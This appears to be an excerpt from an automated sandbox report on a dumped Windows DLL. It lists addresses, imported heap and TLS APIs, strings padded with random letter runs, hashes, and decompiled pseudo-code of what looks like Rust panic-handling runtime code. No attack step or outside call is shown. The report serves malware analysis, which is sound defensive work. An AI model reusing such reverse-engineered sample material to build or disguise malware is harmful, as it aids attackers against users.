0x6edbceed
0x6edbcef5
0x6edbcef8
0x6edbcefb
0x6edbcefb
0x6edbcefb
0x6edbcac1
0x6edbcac1
0x6edbcac7
0x6edbcaca
0x6edbcaca
0x6edbcad0
0x6edbcad3
0x6edbcad5
0x6edbcae3
0x6edbcae3
0x6edbcae5
0x6edbcbcd
0x6edbcbd0
0x6edbcbde
0x6edbcbe0
0x00000000
0x00000000
0x6edbcbe6
0x6edbcbe9
0x6edbcbeb
0x00000000
0x6edbcbeb
0x6edbcaeb
0x6edbcaee
0x6edbcaf0
0x00000000
0x6edbcaf0
0x6edbcec0
0x6edbcec2
0x00000000
0x6edbcec2
0x6edbce14
0x6edbce17
0x00000000
0x00000000
0x6edbce1d
0x6edbce20
0x00000000
0x00000000
0x6edbce26
0x6edbce28
0x00000000
0x6edbce28
0x6edbcdd8
0x6edbcddd
0x6edbcddf
0x00000000
0x00000000
0x6edbcde1
0x00000000
0x6edbcc15
0x6edbcc15
0x6edbcc17
0x6edbcc1a
0x6edbce62
0x6edbce62
0x6edbce65
0x6edbce68
0x6edbce68
0x6edbce6b
0x6edbce71
0x6edbce78
0x6edbce7f
0x6edbce85
0x6edbce87
0x6edbce8d
0x6edbce90
0x6edbce96
0x6edbce96
0x6edbce90
0x6edbce87
0x00000000
0x6edbce7f
0x6edbcc20
0x6edbcc27
0x6edbcc2e
0x6edbcc2e
0x00000000
0x6edbcc2e
0x6edbcb1c
0x6edbcb1f
0x6edbcb21
0x00000000
0x00000000
0x6edbcb27
0x6edbcb2a
0x6edbcb2d
0x6edbcdb6
0x6edbcdbb
0x00000000
0x6edbcdbb
0x6edbcb33
0x6edbcb39
0x6edbcb3e
0x6edbcb40
0x6edbcb43
0x6edbcb4a
0x6edbcb4f
0x6edbcb52
0x6edbcb54
0x6edbcb57
0x6edbcb59
0x6edbcb5b
0x6edbcb5e
0x6edbcb60
0x6edbcb63
0x6edbcb63
0x6edbcb5e
0x6edbcb68
0x6edbcb68
0x6edbcb6b
0x6edbcb6e
0x6edbcaaf
0x6edbcaaf
0x6edbcab1
0x00000000
0x6edbcb74
0x6edbcb74
0x6edbcb78
0x6edbcb7b
0x6edbcb7e
0x6edbcea0
0x6edbcea6
0x6edbcea8
0x6edbceab
0x6edbd062
0x6edbd062
0x6edbd067
0x6edbd068
0x6edbd068
0x6edbcc30
0x6edbcc37
0x6edbcc3e
0x6edbcc45
0x6edbcc4c
0x6edbcc50
0x6edbcc57
0x6edbcc5e
0x6edbcc65
0x6edbcc6d
0x6edbcc70
0x6edbcc76
0x6edbcc79
0x6edbcc7f
0x6edbcc85
0x6edbcc8c
0x6edbcc95
0x6edbcc9c
0x6edbcca2
0x6edbcca9
0x6edbccac
0x6edbccba
0x6edbccc1
0x6edbccc9
0x6edbcccc
0x6edbccce
0x6edbccd1
0x6edbccd4
0x6edbccdb
0x6edbccdd
0x6edbcce3
0x6edbcce5
0x6edbcce5
0x6edbccf1
0x6edbccf1
0x6edbccff
0x6edbccff
0x6edbcd04
0x6edbcd15
0x6edbcd1a
0x6edbcf0b
0x6edbcf1a
0x6edbcf21
0x6edbcf28
0x6edbcf32
0x6edbcf35
0x6edbcf3c
0x6edbcf43
0x6edbcf49
0x6edbcf50
0x6edbcf53
0x6edbcf5a
0x6edbcf5f
0x6edbcf68
0x6edbcf6e
0x6edbcf71
0x00000000
0x00000000
0x6edbcf78
0x6edbcf80
0x6edbcf83
0x6edbcf85
0x00000000
0x6edbcd20
0x6edbcd23
0x6edbcfc0
0x6edbcfc3
0x6edbcfc5
0x6edbcfc7
0x6edbcfca
0x6edbcfcf
0x6edbcfcf
0x6edbcfca
0x6edbcfd7
0x6edbcfdd
0x6edbcfe3
0x6edbcfe5
0x6edbcfe7
0x6edbcfea
0x6edbcfef
0x6edbcfef
0x6edbcfea
0x6edbcff9
0x6edbcfff
0x6edbd003
0x6edbd00a
0x6edbd012
0x6edbd019
0x6edbd020
0x6edbd027
0x6edbd02e
0x6edbd032
0x6edbd039
0x6edbd040
0x6edbd048
0x6edbd04b
0x6edbd04e
0x6edbd053
0x6edbd055
0x6edbd055
0x6edbd057
0x6edbd05b
0x6edbd060
0x00000000
0x6edbd060
0x6edbcd2b
0x6edbcd31
0x6edbcd33
0x00000000
0x00000000
0x6edbcd3c
0x6edbcd3f
0x6edbcd46
0x6edbcd4d
0x6edbcd54
0x6edbcd5b
0x6edbcd62
0x6edbcd70
0x00000000
0x00000000
0x6edbcd7b
0x6edbcd7e
0x6edbcd86
0x6edbcd88
0x6edbcf88
0x6edbcf8b
0x6edbcf92
0x6edbcf9b
0x6edbcf9d
0x6edbcf9f
0x6edbcf9f
0x6edbcfab
0x6edbcfab
0x6edbcfbb
0x00000000
0x6edbcfbb
0x6edbcd1a
0x6edbceb1
0x00000000
0x6edbceb1
0x6edbcb84
0x00000000
0x6edbcb84
0x6edbcb6e
0x6edbcb16
0x6edbc97f

APIs

Part of subcall function 6EDBD1B0: TlsGetValue.KERNEL32(00000000,00000001,6EDBC906), ref: 6EDBD1BB
Part of subcall function 6EDBD1B0: TlsGetValue.KERNEL32(00000000), ref: 6EDBD1F3

AcquireSRWLockShared.KERNEL32(6EE0ADBC), ref: 6EDBC945
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCA9C
HeapFree.KERNEL32(00000000,?), ref: 6EDBCAAA
TlsGetValue.KERNEL32(00000000), ref: 6EDBCB0D
TlsGetValue.KERNEL32(00000000), ref: 6EDBCC07
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCCF1
HeapFree.KERNEL32(00000000,?), ref: 6EDBCCFF
GetProcessHeap.KERNEL32 ref: 6EDBCDD8
HeapAlloc.KERNEL32(01360000,00000000,00000010), ref: 6EDBCDEB
TlsSetValue.KERNEL32(00000000,00000000,01360000,00000000,00000010), ref: 6EDBCE5C
HeapFree.KERNEL32(00000000,00000000,01360000,00000000,00000010), ref: 6EDBCEDD

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDBCDC0
full, xrefs: 6EDBCEB8
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6EDBC90D, 6EDBC988
already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl, xrefs: 6EDBCDA1

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl$cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf$full
API String ID: 2275035175-1955203421
Opcode ID: 423ec14a58b2f2cd60f9e4500f9c94801d07a8a0d76155c9be933763833bab8b
Instruction ID: 1dd3db39d58ce3998d66bd39b9b8a089fdb187b1440931f93170d53e56b648f1
Opcode Fuzzy Hash: 423ec14a58b2f2cd60f9e4500f9c94801d07a8a0d76155c9be933763833bab8b
Instruction Fuzzy Hash: 471216B4A00219CFDB10CFE4C854B9EBBB5BF45308F108529D416AF384EB76A946CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC890, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDBC890(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6EDC3B50;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6edfd9cc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6ee0adc0], esi");
				_t193 = E6EDBD1B0(_t268, 0x6edfd9cc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6EDD6EE0(_t268,  &M6EDFD0E7, 0x46, _t349,  &_v68, 0x6edfd060, 0x6edfd1ac);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edfcd60;
						_v120 = 0x6edfd014;
						_v68 = 0x6edfda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDB2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6EDBD2A0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6ee0adc8, 0, _t259);
							}
							_t197 = HeapFree( *0x6ee0adc8, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6edfda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edfcd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6EDBD2A0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6ee0adbc);
					_v144 = 0x6ee0adbc;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6EDBD1B0(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6ee0adb0; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6EDBD530(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6EDD6EE0(_t268,  &M6EDFD0E7, 0x46, _t352,  &_v68, 0x6edfd060, 0x6edfd1ac);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6ee0a044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6ee0a044;
							_t205 = E6EDC2B10(_t268, 0x6ee0a044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6ee0a044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6ee0a044;
								_t206 = E6EDC2B10(_t268, 0x6ee0a044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6ee0adc8; // 0x1360000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6ee0a044;
										_t340 = _t208;
										_t209 =  *0x6ee0a044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6EDC2B10(_t268, 0x6ee0a044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6EDD6C30(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6ee0adc8, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6ee0adb0;
											 *0x6ee0adb0 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6edc3440
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6ee0adc8 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6EDBC800(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6EDD6EE0(_t268, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6edfd050, 0x6edfd720);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6EDBC690(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6EDBC800(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6edfd8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edbde50;
										_v60 =  &_v100;
										_v56 = 0x6edbde50;
										_v52 =  &_v148;
										_v48 = E6EDBDE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDBD2A0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t248);
											}
											HeapFree( *0x6ee0adc8, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ee0adac);
											_v68 = 0x6edfd2c0;
											_v64 = 1;
											_v152 = 0x6ee0adac;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDBDEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6EDBD2A0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ee0adac);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6EDBC800(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6EDBDC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ee0adbc);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edfda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edfcd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6EDBD2A0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6EDBD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6EDBD440(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6ee0a040 = 0;
											_t368 =  *0x6ee0a040;
											if( *0x6ee0a040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6edfd96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edfcd60;
											_v48 = 0;
											_v20 = 3;
											if(E6EDBD2A0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t238);
											}
											HeapFree( *0x6ee0adc8, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

0x6edbc897
0x6edbc89a
0x6edbc89e
0x6edbc8a5
0x6edbc8a6
0x6edbc8a8
0x6edbc8ad
0x6edbc8b0
0x6edbc8b2
0x6edbc8b3
0x6edbc8b4
0x6edbc8b5
0x6edbc8b6
0x6edbc8b7
0x6edbc8b8
0x6edbc8b9
0x6edbc8ba
0x6edbc8bb
0x6edbc8bc
0x6edbc8bd
0x6edbc8be
0x6edbc8bf
0x6edbc8c6
0x6edbc8cc
0x6edbc8cf
0x6edbc8d6
0x6edbc8dd
0x6edbc8e2
0x6edbc8e7
0x6edbc8f0
0x6edbc8f3
0x6edbc8f9
0x6edbc901
0x6edbc906
0x6edbc908
0x6edbc922
0x6edbc927
0x6edbc92a
0x6edbc92a
0x6edbc92e
0x6edbc931
0x6edbc934
0x6edbc936
0x6edbc9aa
0x6edbc9ad
0x6edbca0a
0x6edbca11
0x6edbca1b
0x6edbca22
0x6edbca29
0x6edbca2d
0x6edbca34
0x6edbca3b
0x6edbca41
0x6edbca44
0x6edbca47
0x6edbca4d
0x6edbca54
0x6edbca57
0x6edbca5e
0x6edbca63
0x6edbca65
0x6edbca6c
0x6edbca74
0x6edbca77
0x6edbca79
0x6edbca7c
0x6edbca7c
0x6edbca7f
0x6edbca82
0x6edbca86
0x6edbca9c
0x6edbca9c
0x6edbcaaa
0x6edbcaaa
0x00000000
0x6edbca65
0x6edbc9b2
0x6edbc9b5
0x6edbc9bc
0x6edbc9c3
0x6edbc9ca
0x6edbc9d1
0x6edbc9d5
0x6edbc9dc
0x6edbc9e3
0x6edbc9e8
0x6edbc9ea
0x00000000
0x6edbc9f0
0x6edbc9f5
0x6edbc9fd
0x6edbca00
0x6edbca02
0x00000000
0x6edbca02
0x6edbc93d
0x6edbc93d
0x6edbc945
0x6edbc94b
0x6edbc955
0x6edbc95c
0x6edbc963
0x6edbc969
0x6edbc96c
0x6edbc96f
0x6edbc972
0x6edbc975
0x6edbc97a
0x6edbc97d
0x6edbc97f
0x6edbcab3
0x6edbcab3
0x6edbcab6
0x6edbcab8
0x6edbcb8b
0x6edbcb90
0x6edbcb93
0x6edbcb96
0x6edbcd97
0x00000000
0x6edbcd97
0x6edbcb9c
0x6edbcb9f
0x6edbcd90
0x00000000
0x6edbcd90
0x6edbcba5
0x6edbcba7
0x00000000
0x00000000
0x6edbcbb0
0x6edbcbb5
0x6edbcbb8
0x6edbcbbb
0x6edbcbbd
0x00000000
0x00000000
0x6edbcbc3
0x00000000
0x6edbcbc3
0x6edbcabe
0x00000000
0x6edbc985
0x6edbc99d
0x6edbc9a2
0x6edbcdbe
0x6edbcdbe
0x6edbcdc0
0x6edbcdc0
0x6edbcdc5
0x6edbcaf3
0x6edbcaf3
0x6edbcaf6
0x6edbcaf9
0x6edbcb00
0x6edbcb02
0x6edbcb07
0x6edbcb07
0x6edbcb0d
0x6edbcb16
0x6edbcbf3
0x6edbcbf3
0x6edbcbf8
0x6edbcbfa
0x6edbcbfc
0x6edbcc01
0x6edbcc01
0x6edbcc07
0x6edbcc0d
0x6edbcc0f
0x6edbcdcf
0x6edbcdd4
0x6edbcdd6
0x6edbcde6
0x6edbcdeb
0x6edbcdf0
0x6edbcdf2
0x6edbce32
0x6edbce38
0x6edbce3f
0x6edbce41
0x6edbce46
0x6edbce48
0x6edbce4f
0x6edbce52
0x6edbce57
0x6edbce57
0x6edbce5c
0x00000000
0x6edbce5c
0x6edbcdf4
0x6edbcdfe
0x6edbce03
0x6edbce05
0x6edbce05
0x6edbce08
0x6edbce0b
0x6edbce0e
0x6edbceb8
0x6edbcebe
0x6edbcec9
0x6edbcec9
0x6edbcece
0x6edbcece
0x6edbced0
0x6edbced0
0x6edbced2
0x6edbcedd
0x6edbcedd
0x6edbcee2
0x6edbcee2
0x6edbceed
0x6edbcef5
0x6edbcef8
0x6edbcefb
0x6edbcefb
0x6edbcefb
0x6edbcac1
0x6edbcac1
0x6edbcac7
0x6edbcaca
0x6edbcaca
0x6edbcad0
0x6edbcad3
0x6edbcad5
0x6edbcae3
0x6edbcae3
0x6edbcae5
0x6edbcbcd
0x6edbcbd0
0x6edbcbde
0x6edbcbe0
0x00000000
0x00000000
0x6edbcbe6
0x6edbcbe9
0x6edbcbeb
0x00000000
0x6edbcbeb
0x6edbcaeb
0x6edbcaee
0x6edbcaf0
0x00000000
0x6edbcaf0
0x6edbcec0
0x6edbcec2
0x00000000
0x6edbcec2
0x6edbce14
0x6edbce17
0x00000000
0x00000000
0x6edbce1d
0x6edbce20
0x00000000
0x00000000
0x6edbce26
0x6edbce28
0x00000000
0x6edbce28
0x6edbcdd8
0x6edbcddd
0x6edbcddf
0x00000000
0x00000000
0x6edbcde1
0x00000000
0x6edbcc15
0x6edbcc15
0x6edbcc17
0x6edbcc1a
0x6edbce62
0x6edbce62
0x6edbce65
0x6edbce68
0x6edbce68
0x6edbce6b
0x6edbce71
0x6edbce78
0x6edbce7f
0x6edbce85
0x6edbce87
0x6edbce8d
0x6edbce90
0x6edbce96
0x6edbce96
0x6edbce90
0x6edbce87
0x00000000
0x6edbce7f
0x6edbcc20
0x6edbcc27
0x6edbcc2e
0x6edbcc2e
0x00000000
0x6edbcc2e
0x6edbcb1c
0x6edbcb1f
0x6edbcb21
0x00000000
0x00000000
0x6edbcb27
0x6edbcb2a
0x6edbcb2d
0x6edbcdb6
0x6edbcdbb
0x00000000
0x6edbcdbb
0x6edbcb33
0x6edbcb39
0x6edbcb3e
0x6edbcb40
0x6edbcb43
0x6edbcb4a
0x6edbcb4f
0x6edbcb52
0x6edbcb54
0x6edbcb57
0x6edbcb59
0x6edbcb5b
0x6edbcb5e
0x6edbcb60
0x6edbcb63
0x6edbcb63
0x6edbcb5e
0x6edbcb68
0x6edbcb68
0x6edbcb6b
0x6edbcb6e
0x6edbcaaf
0x6edbcaaf
0x6edbcab1
0x00000000
0x6edbcb74
0x6edbcb74
0x6edbcb78
0x6edbcb7b
0x6edbcb7e
0x6edbcea0
0x6edbcea6
0x6edbcea8
0x6edbcea8
0x6edbceab
0x6edbd062
0x6edbd062
0x6edbd067
0x6edbd068
0x6edbd068
0x6edbcc30
0x6edbcc37
0x6edbcc3e
0x6edbcc45
0x6edbcc4c
0x6edbcc50
0x6edbcc57
0x6edbcc5e
0x6edbcc65
0x6edbcc6d
0x6edbcc70
0x6edbcc76
0x6edbcc79
0x6edbcc7f
0x6edbcc85
0x6edbcc8c
0x6edbcc95
0x6edbcc9c
0x6edbcca2
0x6edbcca9
